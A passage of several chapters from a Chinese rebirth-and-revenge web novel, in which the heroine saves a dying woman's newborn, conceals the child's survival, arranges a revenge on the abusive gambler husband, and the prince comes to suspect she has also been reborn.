他见她眉眼里似乎带着一丝焦虑,而后恍然大悟。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第234章 怀疑听错了
“你可是想办完及笄礼再走?”谢翊宁温声询问。
“及笄礼?”
晏逐星和棠云麒俱是一愣。
“婋婋生辰是在八月底,及笄还早呢。”棠云麒开口。
晏逐星这才想起来,按照温氏给她定的生辰,她过几日就该及笄了。
“不是,是别的事情。”她含糊地扫了棠云麒一眼,冲谢翊宁眨了眨眼。
谢翊宁意识到她这是有话想要单独对他说。
于是清了清嗓子,开口道:“那可太好了。若是八月底,回了京城,你爹娘正好可以赶上你的及笄礼。”
棠云麒忙不迭点头:“阿爹阿娘还有二弟知道找到你了,肯定很高兴。”
谢翊宁提议道:“棠大哥,要不你先给令尊令堂去封信?将寻到婋婋的事情告知他们。”
棠云麒正欲点头,而后又摇了摇头:“罢了,还是我快马加鞭回去亲自告诉他们吧。”
“大哥,我舍不得你。”晏逐星依依不舍地看着他。
才见到大哥,她哪里舍得跟他分开。
大哥一走,她好像又变成了那个被人抛弃,无依无靠的小可怜。
虽然,她现在已经不是那个手无缚鸡之力、任人宰割的小云婋了。
“长风镖局的弟兄们还等着我呢。”棠云麒笑着摸了摸妹妹的脑袋。
“我把他们领到了京城,自然要把他们平平安安带回扬州去。”
“到时候我快马加鞭先行一步,先回扬州。然后接上了阿爹阿娘和二弟,带着他们一块到青州和你们汇合,可好?”
谢翊宁觉得这法子不错。
这样可以节约很多时间,回来再给晏逐星举办及笄礼也不会太匆忙。
正好提前让棠家父母适应一下京城的生活,免得到时候及笄礼上,出什么岔子。
“本王觉得棠大哥这法子倒是不错。”他把心里的想法说了出来。
见他们俩都觉得让大哥先走一步是好主意,晏逐星扁着嘴,还是点了点头同意了。
棠云麒当即就去整理东西。
晏逐星忙让衔蝉去帮忙:“你给大哥还有他镖局的弟兄们都准备些礼物,明日他们离京用得上。”
“是。”衔蝉应下。
屋内顿时只剩了晏逐星和谢翊宁。
“你先前可是有话要对本王说?”谢翊宁主动开口。
晏逐星点了点头,把阮姨娘假孕的事情说了。
饶是谢翊宁已经见惯了大风大浪,但还是对她这一招叹为观止。
定远侯怕是死都没想到,自己留下的那些财产都给了外人吧。
“宋氏快生了,这几日我便安排阮姨娘他们住过来,等她们把孩子生了,骆表姑把孩子抱到膝下当做嫡子嫡女教养,我们就去青州。”晏逐星毫无保留地把事情给交代了一清二楚。
她这一句“我们”,让谢翊宁眉梢微微上扬,眼角的笑意怎么也藏不住。
“好,听你的。有什么需要帮忙的,让照夜他们来就好。”
有了永安王这话,晏逐星心里踏实多了。
两人计划了一下前往青州的事情,又留谢翊宁用了晚饭。
不曾想,竟耽误了回城的时间。
城门早已落锁。
棠云麒想了想:“不如让王爷住我的院子吧。”
谢翊宁还没开口,停云就接话了。
“棠大公子不必客气,我们王爷有单独的院子。衣裳寝具一应俱全。就不打扰您了。”
棠云麒听到这话,狐疑地看了一眼妹妹,又看了一眼谢翊宁。
见两人坦坦荡荡的表情,他不禁怀疑自己是不是听错了什么。
“你是说王爷在我妹妹的宅子里,有单独的院子,还所有东西一应俱全?”说到最后,他声音不自觉地就拔高了。
晏逐星早就把谢翊宁当成自己人了,丝毫没觉得他在她这放点东西有什么不对的。
她想的是万一下回王爷跟她一块杀人是,衣裳溅了血,在这也有干净衣裳换。
这很合理呀。
谢翊宁见棠云麒似乎要生气了,赶忙道:“只是偶尔有事暂住一晚,平时是绝对不会来打扰的。”
棠云麒:“?”
这两天来三回了,还偶尔暂住一晚?!
他信他个鬼。
晏逐星生怕他俩起争执,赶忙推了棠云麒一把:“大哥,你东西备齐了么,明日什么时候启程和镖局的弟兄们回扬州?”
她这一着急,力气就大了点。
棠云麒差点没被她推得一个踉跄栽倒在地。
先前的气势顿时没了。
棠云麒有些窘迫地摸了摸鼻尖,小妹怎么长大了力气更大了。
和阿娘比简直是有过之而无不及。
“一切都准备好了,你不必担心。”他想起了谢翊宁的身份,知晓和他也不能起正面冲突,干脆把妹妹先带走,打算之后让阿爹阿娘来盘问他们俩到底是什么关系。
“走,你去大哥院子,大哥慢慢和你说。”
晏逐星点点头,冲身后的谢翊宁挥了挥手,无声地做了个口型:“王爷,明天见。”
谢翊宁弯了弯眉眼,笑眯眯道:“明天见。”
*
翌日清晨,棠云麒回了城里,长风镖局的人围着他叽叽喳喳问个不停。
“令嘉县主真是你走丢的亲妹子啊?”
“我滴个乖乖啊,老大,以后你是不是就不和咱们一起走镖了?”
“你妹子呢?咋没看到她来送你呀。”
棠云麒被他们问得烦不胜烦,直接把晏逐星命人给他们准备的糕点吃食拿了出来。
“吃吧,哪来那么多问题。吃完赶紧上路回扬州,莫要耽搁了我回家给爹娘报喜!”
“哇,多谢老大!”看到这些好吃的,众人一窝蜂涌了过来,你一块我一块地分完了。
他们一边吃一边忍不住又问:“老大,你妹子怎么不和你一块回去呢?”
“老大,县主是多大的官啊?咱们瞧见要下跪吗?”
棠云麒:“……”
怎么吃的都堵不上这群家伙的嘴!
他干脆充耳不闻,收拾了东西,直接翻身上马。
“跟不上的,别怪我不等你们了啊。”
长风镖局的人一看,赶忙追了上去。
“老大,等等我们啊~~~”
镖局一行人热热闹闹地回扬州。
与此同时,摘星山庄也来了一个意外的人,跪倒在了山庄大门前。
“县主,求求您,救救我家小姐吧!!!呜呜呜呜呜。”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第235章 只能保一个
“我家小姐乃是关家三小姐关月,她快死了,求县主救命啊。”小丫鬟哭得撕心裂肺。
看门的小厮知晓自家主子和关家的关系,赶忙将人领了进去。
晏逐星听闻关月快死了,也吓了一跳,赶忙道:“发生什么事了,你慢慢说。”
小丫鬟抽泣着把事情说了出来。
上次晏逐星来关家过年时,关月的夫君韩齐年就看上了她定远侯养女的身份。他想让关月帮忙牵线,托晏逐星在京城找找门路,好把自家杂货行里南边来的好东西卖给京城里的贵人。
但关月知晓晏逐星并非关家亲生孩子,不愿意张口麻烦她,便拒绝了韩齐年。
那时候夫妻俩就生了嫌隙。
没过多久,曝出晏逐星并非关家女儿的消息。
宁心心回家认亲后,韩齐年见攀上定远侯府关系无望,对关月就更冷淡了,还以她孕期不方便伺候自己为由,纳了一房小妾。
直到不久前流光阁出现,韩齐年得知关万海负责流光缎的生意,便想让岳父拉拔自己家一把,放一些流光缎到韩家的杂货行里售卖。
但通州关家自己的铺子都没铺上,关万海怎么可能把流光缎给他们韩家,关万海拒绝了,还私下把关月骂了一顿,让她嫁出去之后别惦记家里的东西。
关月这才知道韩齐年背着她偷偷去找了父亲。
夫妻二人再次大吵架。
也就是这个时候,关月才知道韩齐年每次说到京城进货,其实是来这里的赌坊赌钱,已经欠了一屁股赌债。
所以才惦记着流光缎,想要倒卖挣钱。
韩齐年给她跪下说一定会改,韩家上下凑了五百两银子来给他还赌债。
关月不放心韩家人,一定要亲自盯着他来赌坊还赌债。
于是昨日就挺着大肚子跟韩齐年来了京城。
一开始还好好的,结果韩齐年趁着出去给她买吃的功夫,竟然溜去了赌坊,把那五百两银子赌光了。
关月知道之后崩溃和他大吵,两人言语冲突越来越激烈,还动了手互相推搡,关月被推倒,见了血。
韩齐年当场就跑走了。
关月如今还在客栈里生孩子,另一个丫鬟在守着她。
“奴婢原想着去流光阁先找老爷,可流光阁的人说老爷去了岭南,奴婢只能厚着脸皮跑来求县主救命了。求您救救我家小姐吧。”这个名叫翠珠的丫鬟,跪在地上连连给晏逐星磕头。
晏逐星和双鲤目瞪口呆。
她们当初在关家见过韩齐年一面,当时的他对关月小意温柔,完全看不出是这样人面兽心的家伙。
“稳婆请了吗?大夫请了吗?”晏逐星问了关键的问题。
“没有。”翠珠嘴唇咬得惨白。
“小姐身上的银子,也偷偷被姑爷拿走了。若不是客栈老板好心,小姐都要被赶出来了。呜呜呜呜。”
“这姓韩的可真不是个东西!”衔蝉忍不住脱口而出。
“九栀,我先入京。衔蝉,你命人去通州走一趟。”晏逐星当机立断。
不说关万海是她的合作伙伴,就第一次见面时,关月对她那样的关心,她也不愿看着她花一般的年纪就没了。
“是。”两人应下,当即命人备马车。
“马车太慢了,马给我。”晏逐星毫不犹豫地开口。
她问清了客栈的地址,策马狂奔入城去找关月。
九栀重新让马夫备车,紧随其后,将翠珠带回京城。
而后衔蝉赶紧又派人去通州给关月的娘家人送信。
摘星山庄又一次忙碌了起来。
晏逐星没有直接去客栈,而是找人打听了稳婆和大夫的地址,直接把两人一块请到了客栈里。
到了客栈,发现已经有好心人请了稳婆在给关月接生了。
她顿时松了一口气。
“既然有人接生了,还请我老婆子来作甚。”晏逐星请来的陈稳婆正欲离开。
屋内的刘婆子听到动静,赶忙探头出来看向晏逐星:“你可是她的家里人?”
晏逐星点了点头。
“怎么就派了个没出阁的小娘子来了。”刘婆子嘀咕,但人命关天,她也不敢耽误,快言快语地把实情说了出来。
“这位夫人情况凶险得很。胎位不正本就难生,偏偏又被人推搡受了惊吓,这才提前发动。眼下是卡住了,这关口,是保大人还是保孩子?你赶紧拿个主意。”
晏逐星脑子“嗡”一下就空白了。
她来之前猜想到了关月情况不好,但没想到那么不好。
可她并非真的关家人,她凭什么给关月拿主意。
听着里边关月的惨叫声,她心乱如麻。
陈稳婆听到这话,顿住了脚步:“让我瞧瞧,不会是你不行所以才吓唬人家小姑娘吧。”
刘婆子气得眉毛都要竖起来。
“不信你自己来看。”
晏逐星听到这话,赶忙看向陈稳婆和被她请来的专治妇科的大夫:“二位一定要救下他们,花多少银子都可以。”
陈稳婆听到这话心动了,赶忙净手去查探关月的情况。
本小章还未完,请点击下一页继续阅读后面精彩内容!过了一会儿,脸色难看地走了出来。
“不行,这胎位太凶险了,搞不好一尸两命。小姑娘,你早点做决定吧。”
被请来的大夫也替关月把了脉,出来就冲晏逐星摇头。
“姑娘,情况凶险啊,再耽误下去,怕是两个都保不住了。”
关家人赶过来怕是还要两个时辰,等他们来了,关月的尸体都凉了。
晏逐星果断做出了决定。
“救大人。”
“你可得想好了,救了大人,以后她可就再也没办法生孩子了。她的丈夫,不会嫌弃吧?”刘婆子见她面嫩,怕她不懂这些夫妻的事情,好心提醒。
晏逐星眸色微冷:“别管那么多,保大人。”
韩齐年这个狗东西,等她腾出手了就去收拾他。
不成想,里边的关月听到他们的对话,用尽全力地喊了一句:“保孩子。”
丫鬟翠羽见她脸色煞白的模样,顿时哭出了声:“小姐,您别犯糊涂。”
不一会儿,翠羽就走了出来,泪眼婆娑地看着晏逐星:“小姐想见您。”
晏逐星二话不说直接进了产房。
两个稳婆想拦她都没来得及。
哪有未出阁的小姑娘进产房的!
晏逐星看着关月灰败的脸色,心头“咯噔”一跳。
她这分明是存了死志,不想活了。
“县主,我求您一件事,您答应我,行么?”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第236章 竟然那么狠
“你说。”晏逐星握住了她的手。
眼前浮现的却是过年时,关月灵动的一颦一笑。
和眼前这个唇色惨白脸色黯淡的人,重叠在一起,判若两人。
她一时有些恍惚。
“这孩子,求您,不要让他留在韩家……”关月用尽了最后的力气托孤。
韩家所有的银钱都已经给了韩齐年来还赌债,还欠了不少外债。
韩齐年纳的那个小妾也已经有了身孕,这孩子若是送回韩家,定然是要吃苦受罪的。
“你的意思是要将他送回关家?”晏逐星有些惊讶地询问。
关月再一次轻轻摇头,脸上露出了苦笑。
“不。爹娘不会管他的,爹娘眼里只有弟弟。”
“既然这孩子都没有好去处,那你为何还要生下他,自己活着不好么?”晏逐星用力捏了捏她的手心。
“你活下来,若想和离,我会帮你。天大地大,自己的性命最大,好好活着才是要紧事。”
关月还是摇头。
她已经不想活着了。
没了这个孩子,身子垮了,她以后也没办法生孩子。
和离之后,她无处可去,只能回娘家。
爹娘恐怕只会想办法让她快点嫁出去,但她不能生了,谁会娶她呢。
大姐二姐也有各自的家庭,谁又能帮她一辈子呢。
她不能成为她们的累赘。
她扯了扯晏逐星的手,示意晏逐星靠过来。
晏逐星见她有话要说,赶忙将耳朵凑了过去。
关月弱弱地开口:“县主,求您留下他。我知道,我娘在帮你找孩子,我不知道你要孩子来做什么,但我知道你一定不会害他……”
晏逐星愣在了原地。
腹中的剧痛让关月忍不住呻吟出声,她泪眼朦胧地看着晏逐星。
“县主,求您……”
关月死死抓住了她的手。
“快,再不做出决定这孩子就要憋死了。”稳婆尖叫了起来。
“好,我答应你。”晏逐星脱口而出。
关月听到这话,脸上露出了释然的笑,拼尽全力开始配合两个稳婆生孩子。
“啊——”
屋内惨叫声连连。
大夫将晏逐星拉了出来。
“小姑娘家家的,别在里边呆着了。省得以后啊,自己都不敢生孩子了。”
晏逐星回过神来,掏了一锭银子给翠羽:“去找奶娘,要快。”
“可我家小姐……”翠羽有些不安。
“我亲自守着。”晏逐星语气不容拒绝。
翠羽这才应声,赶忙出去寻奶娘。
晏逐星站在门口,呆呆地守着在门口,思考着关月腹中孩子的去处。
若关月这胎生的是女儿,那便带回山庄里养着吧。
如今她也不缺钱了。
若是儿子,那就给宋氏的女儿当兄长,凑一对龙凤胎,让骆表姑她们来养。
约莫过了一刻钟的时间,屋子里传来了稳婆兴高采烈的声音。
“生了,生了,是个小子!”
紧接着是惊呼声。
“哎呀,不好了,来人啊,出了好多血。”
大夫赶忙拎着药箱进去给关月止血。
可那血怎么也止不住。
大夫冲晏逐星摇摇头,意思不言而喻。
他叹了一口气,连诊费都没收,转身就走了。
他实在是看不得这种场景。
晏逐星顾不上他,抱着刚出生的孩子,轻轻放到关月面前。
关月苍白的脸上艰难地绽开一点笑意,她颤巍巍伸出手,指尖想要触碰儿子的小脸,气若游丝地吐出两个字:
“平安……”
话音未落,她眼中的光便熄灭了,手无力地垂落在床上。
就在这时,那个出生后一直紧闭着嘴巴、悄无声息的孩子,忽然“哇”地一声哭了出来。
哭声虽然微弱得像只小猫,却清晰地划破了屋内的死寂。
两个稳婆松了一口气。
先前这孩子挠脚心、拍屁股都没哭,他们差点以为这孩子也不行了。
九栀和翠珠赶到的时候,见到的就是关月的尸体了。
晏逐星当机立断看向翠珠。
“哭,大声哭,哭到所有人都知道你家小姐和小少爷都没了。”
翠珠一愣。
身体比脑子反应更快,当场就照着晏逐星的话哭了。
九栀挤了挤眼泪,哭不出来。
早知道把双鲤带上了,那丫头说哭就哭,肯定能让所有人都知道关三小姐死得多可怜。
晏逐星给了两位稳婆封口的银子。
“这孩子福薄,和他娘一块走了。两位懂吧?”
刘婆子和陈稳婆对视一眼,挤出一抹笑,点了点头。
“懂,我们都懂。”
两人收下银子离开后,没忍住一块蛐蛐了起来。
“没想到啊,那小姑娘小小年纪竟然心那么狠。”
“那也没辙,我瞧着这夫人是个命苦的,爹不疼娘不爱,婆家也不是东西。不然怎么会只让妹子来看她。”
“也是。那小姑娘一个人带着孩子也没法活,倒不如让那苦命的孩子随他娘去了。”
……
关家人还没来,客栈老板就先来了。
“姑娘,你看是不是赶紧把你姐姐的尸体给弄走啊。我们开门做生意,你这未免也太晦气了。”
晏逐星直接给了他一张五十两的银票。
客栈老板顿时闭嘴了。
这夫人住的不过是乙等客房,一两银子一晚,如今拿了五十两银子,他还有什么可说的。
有人跑来找客栈老板嘀咕,说客房停着尸体不吉利。
老板一听就火了,没好气地怼道:“人家一尸两命还不够惨吗?就停这一会儿,等会儿家里人就来接了!你这人还有没有点心肝?”
一旁的小二偷偷腹诽:要不是那五十两银票,最先没心肝的就是您了吧。
这一番话传出去,倒是让整个客栈的人都知道了关月母子一尸两命的事情。
晏逐星对此很满意。
趁着关家人还没来,她让九栀将孩子送去了晏宅,交给奶娘照顾。
她已经想好应对关家人的说辞了。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第237章 熊孩子纠正
“县主,还真是您啊。”
晏逐星正等着关家人的到来,听到有人叫她,抬头一看,竟然是停云。
晏逐星看见他,顿时眼前一亮。
九栀领着孩子回了晏宅,如今她身边无人可用,停云来得正是时候。
“是我。你有空吗?帮我个忙。”晏逐星冲他招了招手。
停云原本过来只是想验证一下,先前在城外瞧见纵马狂奔的人是不是晏逐星,没想到就被抓着干活了。
他当然没空。
但县主开口了,没空也得有空。
谁让王爷说过,天大地大,令嘉县主的事情最大。
“县主请吩咐。”他恭恭敬敬地开口。
“去帮我找一个人。”晏逐星把韩齐年的事情说了,重点交代了他们这回来还债的几个赌坊,让他务必把人找到。
停云听完义愤填膺,这下是主动想去逮人了。
这姓韩的,忒不是个东西了。
将夫人推倒早产了,也不管夫人和孩子的死活,如今还不知道在哪里鬼混着。
他当即道:“县主放心,我这就去逮人!”
停云走后没多久,杨氏一行人也从通州入京了。
杨氏收到摘星山庄的来信,得知关月被韩齐年推倒提前发动,正在京城生孩子,吓了一大跳。
夫君去了岭南她无人可以商量,不知道该怎么办,只得将此事告诉了公公关老太爷。
关老太爷当即命她去找韩家人,要他们去京城接人。
“若韩家人不去怎么办?”杨氏有些迟疑。
“不去还不是怪你没用。你若给月儿生了个哥哥,有娘家人给她撑腰,韩家人哪里还敢轻慢她。”关老太爷破口大骂。
杨氏被骂得心里难受,但又不敢忤逆公公的意思。
于是便去了韩家。
韩家人一听杨氏说关月被韩齐年推倒提前发动,直接说他们是污蔑造谣,根本不信。
杨氏气哭了,窝窝囊囊地回了关家。
关曜得知此事,叉腰怒骂:“我跟娘去京城!他们怎么能这么欺负我三姐,这是欺负我关家无人。”
关老太爷听到这话,十分欣慰。
“你带着曜儿去京城,韩家那边,老子亲自去找他们要说法。”
虽然他不喜欢孙女,但那也是关家的脸面。
此事必须得让他们韩家给个说法。
听到这话,杨氏眼泪流了下来,当即带着儿子一块来了京城。
到了客栈,翠珠看到杨氏,眼泪无声地流了下来。
“夫人,小姐她,她没了……”
饶是杨氏做了心理准备,还是被这话吓了一跳。
“怎、怎么就没了呢?”她呆若木鸡。
片刻后,她猛地抓住了翠珠的手,询问道:“那孩子呢。”
“也没了。”翠珠说完,忍不住捂着脸失声痛哭了起来。
杨氏感觉脑袋钝钝的,像是被人猛地用重锤砸了一下。
前些日子见到还好好的,人怎么说没就没了呢。
“三姐夫呢?”关曜攥紧拳头,看向翠珠。
杨氏这才想起了这重要的事情,这种时候,女婿去哪里了?
“韩齐年呢?月儿不在了,他人呢?”杨氏声嘶力竭地喊了出来。
翠珠已经哭得说不出话了,翠羽赶忙道:“不知道姑爷去哪了。把小姐推倒之后,他就没了踪影。”
“这杀千刀的!真不是个东西!”杨氏忍不住骂出了声。
她刚骂完,停云就揪着韩齐年回了客栈。
一看见韩齐年,关曜就跟个炮仗似的直接冲了过去,一脑袋撞到了韩齐年的肚子上。
关曜在关家吃的穿的都是最好的,因而关家把他养得又胖又壮,熬夜赌钱的又瘦又虚的韩齐年还真不是他的对手。
他这一撞,直接把韩齐年给顶飞了出去。
关曜没有停下,直接扑上去,骑在他身上,对他左右开弓。
一个十二岁的半大孩子硬是把韩齐年这个二十岁的大小伙子给打得没有还手的力气。
“让你欺负我们关家无人!”
“你这个王八蛋!”
“你害死了我姐姐!”
……
看着关曜这愤怒的样子,晏逐星倒是对他有些刮目相看了。
从前的关曜可是个熊孩子,根本不会替姐姐考虑,总把姐姐当成赔钱货。
如今这是转了性子了?
她忍不住开口问杨氏:“关曜怎么跟变了个人似的?”
杨氏擦掉眼泪,毕恭毕敬回答道:“流光阁开业后,老爷说您说的那些话很对。关家就曜儿一个孩子,这性子必须得拧过来。否则以后家业怎么给他继承。”
“回头老爷就给曜儿换了新的夫子。还总是和他说世界上和他关系最亲密的,除了爹娘就是他的姐姐们,他若对姐姐们不好,日后若是关家有难,姐姐肯定不会帮他。”
晏逐星没想到她敲打关万海的那些话,他还真听进去了。
当初和关万海合作不过是临时搭伙,想着等过几年了就散伙。
没想到关万海在做生意上效率还挺高,也足够尽心尽力。
这章没有结束,请点击下一页继续阅读!她便想着以后长久合作。
既是如此,那关家重男轻女的家风就得好好改一改。
不然等关曜接手了关家的生意,他那性子,迟早要把关家给败光,别把她的流光缎也给毁了。
于是找到宁心心之后,她便和关万海长谈了一番。
关万海当时就指天发誓,表示一定会好好教育儿子,把儿子掰回正道上。
让她千万别放弃和关家的合作。
现在看来,关万海确实有在认真纠正儿子。
“别打了,别打了,你说,月娘怎么了?”韩齐年连连惨叫。
周围的人却没一个上前阻拦。
他们可都听说了,这挨揍的是个王八蛋,推倒了妻子偷钱去赌,害得妻子一尸两命。
现在小舅子揍他,那是他活该!
“你聋了吗,都说了我三姐被你害死了!”关曜气冲冲地看着他。
韩齐年听到这话,身子僵住了,不可思议道:“怎么可能。”
片刻后,他站起来按住关曜的肩膀大声质问。
“那孩子呢?”
“孩子也没了。被你这个当亲爹的害死了!”杨氏担心他欺负儿子,冲着他吼了一声,把儿子拉到了身边。
“怎么会……怎么会这样……”韩齐年像是被这消息彻底击垮了,眼神涣散,嘴里颠来倒去地念叨着。
“我马上就要翻本了,钱就要赚回来了,可以给他们母子买金银首饰新衣裳了。怎么就没了呢?”
“那钱呢?你倒是把银子拿出来啊。”杨氏怒气冲冲地质问。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第238章 难道重生了
她这一句话直接把韩齐年钉在了原地。
停云冷笑:“我找到他的时候,他还在给赌坊管事跪下求人家借他二十两银子呢。翻本?异想天开。”
关曜听到这话,看向韩齐年的眼神像喷了火一般。
“还翻本?我看你这辈子都没救了。”
“什么新衣裳,你现在怕是连副像样的棺材都没法给我三姐买吧。”
关曜越想越生气,扑过去又给了韩齐年一脚。
韩齐年这回学聪明了,闪身抢先一步躲开了。
他怒气冲冲地瞪了停云一眼:“都怪你,要不是你把我带走,我现在已经赚回二百两银子了!!!”
停云冷笑一声:“还二百两银子?我不把你拎回来。怕是你手脚都要被人剁了。”
见他们吵吵半天没有一个正面回答,晏逐星开口打断了他们:“关月和孩子的遗体怎么办?”
杨氏听到这话,眼泪控制不住又落了下来。
她想到夫君临走前说的话,拿不定主意就找父亲,父亲如果也没主意就听县主的。
于是她看向了晏逐星:“一切听县主安排。”
晏逐星:“……”
杨氏这个态度,让她把先前打好的腹稿全都落了空。
根本用不着她想借口了。
晏逐星缓缓道:“嗯,我已经命人将他们母子收殓入棺。你们见了最后一面,便将她带回通州,入土为安吧。”
“好。”杨氏擦掉了眼泪,牵着关曜的手,去见了关月最后一面。
关月的尸身已经放入了棺材里。
杨氏看着关月惨白的脸,瞬间没绷住,又呜呜呜地哭了起来,连刚出生的外孙都没想起来看一眼。
她哭得泪眼朦胧,关曜站着手足无措。
他不知道该怎么办。
祖母去世时,他还小,已经不记得应该怎么办了。
他只能看着晏逐星。
“好了,把你娘带下去吧。”晏逐星下了命令,让手下的人把棺材帮着从客栈抬走,趁着城门未关,连夜赶路将关月的尸体送回通州区。
翠珠和翠羽那边她已经打点好了。
她们不会再让关家人开棺验尸。
等之后关月下葬了,她会把她们的卖身契要过来,让她们跟着她。
“那这货怎么办?”停云指着被打得鼻青脸肿的韩齐年询问。
“放了他。”晏逐星微微一笑。
“放了?”停云不可思议地看着晏逐星,再一次确认道,“您说的是放了他?”
这还是他认识的那个令嘉县主吗。
他还以为自己耳背了,把“杀了他”听成“放了他”呢。
“嗯。放了。让人引诱他去通州的赌坊。”晏逐星压低声音吩咐。
停云一瞬间就明白了她的用意。
哦,懂了。
这回县主不想自己杀人,想借刀杀人了。
韩齐年如果死在京城,那么韩家人说不定会去流光阁闹。
若是在通州的赌场里,欠了别人的赌债被打死,那就是死有余辜了。
“县主放心,保证完成任务!”停云乐滋滋地领着这个任务走了。
他走了之后,晏逐星才反应过来。
咦,永安王的下属怎么那么听她的话?
真是个好人啊。
回头得好好跟永安王夸夸他,给他涨点俸禄!
*
晏逐星回了晏宅,先给定远侯府递了帖子。
邀请骆文缨明日带着府里的姨娘都去摘星山庄做客。
骆文缨自然不会拒绝她的邀请,爽快地答应了下来。
而后她这才去看了关月生下来的孩子。
孩子小小一团,皱巴巴的有些像猴子。
“真丑。”她伸手戳了戳孩子的脸。
不知道她小时候是不是也这样,丑丑的?
阿爹阿娘会不会也觉得她像猴子?
不对,阿娘说她像老虎崽子,肯定比这孩子好看多了。
奶娘瞧见晏逐星还是未出阁的小姑娘模样,心下有些惊讶,但还是笑着开口:“孩子刚出生是这样的,过些日子长开了呀,就好看了。”
晏逐星若有所思地点了点头。
原来如此。
不过她总觉得这孩子看起来有些蔫巴巴的,打算请永安王帮帮忙,把季太医叫来再给这孩子瞧瞧。
不然她总不放心。
毕竟过两天还要把孩子带回摘星山庄去。
想到这,她便让九栀去永安王府走一趟。
*
永安王府。
停云已经让人去处理了韩齐年的事情,此刻正和说书先生似的说着今日晏逐星让他办的事情。
“说时迟那时快!只见那关家小少爷,如饿虎扑食一般,呼地一声便将那姓韩的畜生扑倒在地!”
“紧接着,但听得啪啪两声脆响,这位小爷是左右开弓,两个大耳刮子就结结实实印在了那厮脸上……”
谢翊宁没想到今日竟然发生了那么多的大事。
不过转念一想,晏逐星竟然能心安理得地让停云去办事情了,是不是说明她对他的信任又多了几分?
“不过令嘉县主这骑术未免精进得太快了吧。前几日王爷赠马时,她才初学骑马,今日竟能纵马如飞了?”
停云想到这事,忍不住念叨了起来。
“你懂什么,小恩人聪明,所以学什么都快。”谢翊宁下意识地反驳。
停云:“……”
打扰了。
他忘了他家主子一遇上令嘉县主的事情,就无条件的觉得她做什么都是对的。
“王爷您说得对。”停云火速改口。
停云退下后,谢翊宁不自觉地琢磨起了他说的那些话。
虽然他觉得小恩人很聪明没错,但若是按照停云的描述,好像有点太夸张了。
若是上辈子战场上杀敌无数的晏逐星,策马疾驰他相信,但这辈子刚学,就能这么厉害吗?
上辈子。
这三个字猛地让谢翊宁坐了起来。
他不自觉地回忆起了重生之后的事情。
上辈子,可没有晏逐星到京兆府告状的事,也没有烈国公夫妇认她为义女的事,更没有她和朝华长公主府对上的事情。
上回上巳节,她好像故意提醒他京城附近有怪事,像是知道什么。
这一桩桩一件件,都透露着古怪。
想到晏逐星提前囤的那些冰,她是怎么知道京城今年会比往年更热,需要的用冰量也更多的?
撇去了从前对救命恩人的无条件信任,这些疑点一瞬间就浮出了水面。
谢翊宁脑海里顿时闪过了一个强烈的念头:她不会也重生了吧?
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第239章 确认都重生
谢翊宁越想越觉得有道理。
他们当时是一起死的,没道理他能重生,晏逐星不能啊。
正是因为他和晏逐星都重生了,所以预言才会更改,国师才会说他这一世的命运被扭转了吧?
就在他胡思乱想之际,下人前来通传。
“启禀王爷,令嘉县主身边的丫鬟求见。”
谢翊宁当即直起了身子,让他把人带进来。
九栀见到谢翊宁,把晏逐星的话原原本本转达给了他。
谢翊宁没有犹豫,直接让停云拿着他的令牌去请季太医。
想了想,他决定跟着九栀一块去一趟晏宅。
如果不问出来,他今晚睡不着。
季太医一脸幽怨地被请到了晏宅。
他本来进太医院按时点卯,没事给贵人请个平安脉就行,结果现在硬是被永安王给弄成了全年无休。
一进晏宅,瞧见晏逐星怀里抱着个孩子,谢翊宁还在一旁站着低头和她说这些什么,这场景看起来温馨又和谐,莫名地像极了一家三口。
季太医吓了一跳。
一段时间不见,两人孩子都有了?
但忽然想起前几日他才给晏逐星把了脉,那会还没呢。
呸呸呸,他在胡思乱想什么。
“季太医,劳烦您给这孩子看看。”晏逐星将孩子交给他,把情况说了一下。
季太医接过孩子,仔细检查后,开口道:“县主不必过忧。此儿确是早产,先天之气稍显不足,体质比足月儿略为羸弱些。眼下看来脏腑虽弱却无大碍,气息虽微但尚平稳,哭声虽小亦有中气。只需精心调养,缓补元气即可。”
有了他这番话,晏逐星放心多了。
她可不希望关月用命换回来的孩子就这样没了。
让季太医开了些温补的方子后,晏逐星命人将他送走,随后把孩子交给了奶娘。
见谢翊宁还没离开,还是看着她一副欲言又止的模样。
她忍不住有些好奇地开口:“王爷可是有话要对我说?”
谢翊宁张了张口,却又没想好该怎么说。
万一他猜错了,晏逐星没有重生,听到他说那些话会不会觉得他是个疯子?
万一晏逐星重生了,他贸然发问,会不会把她这段时间对他建立起来的信任给摧毁了?
谢翊宁一时间拿不定主意。
看着神色变化莫测的谢翊宁,晏逐星顿时紧张了起来。
“可是我大哥路上出什么事了?”她赶忙追问。
大哥回扬州接爹娘二哥,王爷暗中还派了人跟着。
因此看见他脸色为难,她第一反应就是家里人出事了。
“没有。”谢翊宁赶忙否认。
晏逐星松了一口气,随后更好奇了:“那王爷心神不宁是为了什么?”
谢翊宁想了想,决定豁出去了。
“你相信前世今生吗?”
谢翊宁一句话就让晏逐星联想到了上辈子的事情。
她顿时紧张了起来,是永安王发现什么了吗?
他知道她重生了?
“王爷此话是何意?”晏逐星抿唇小声询问。
“本王曾做了一个梦,梦到你在战场上杀敌,还替本王挡了一箭……”谢翊宁决定还是用忽悠父皇母后的那番话来试探她。
这样进可攻退可守。
她若不愿意承认,会否认。
她若愿意承认,他们就可以相认。
从今往后,世界上又多了一个可以和他共同分担秘密的挚友。
晏逐星这下确定了。
谢翊宁怀疑她也重生了,所以才这么试探她。
那他对她也重生了一事会是什么想法?
他会不会把她囚禁起来,严刑拷打问出关于霍家军的情报?
这个念头刚冒出来,立刻就被她否认了。
他对她的好,桩桩件件,历历在目,他怎么可能翻脸无情,做出这样的事情。
她不能,也不该,将前世所见那些恶人的嘴脸与行径套在永安王的身上。
若是放在从前,她定是半分也不会信他。
可如今不同了。
他们共同经历了那么多事情,她很清楚,他与那些高高在上、视人命如草芥的王公贵胄截然不同。
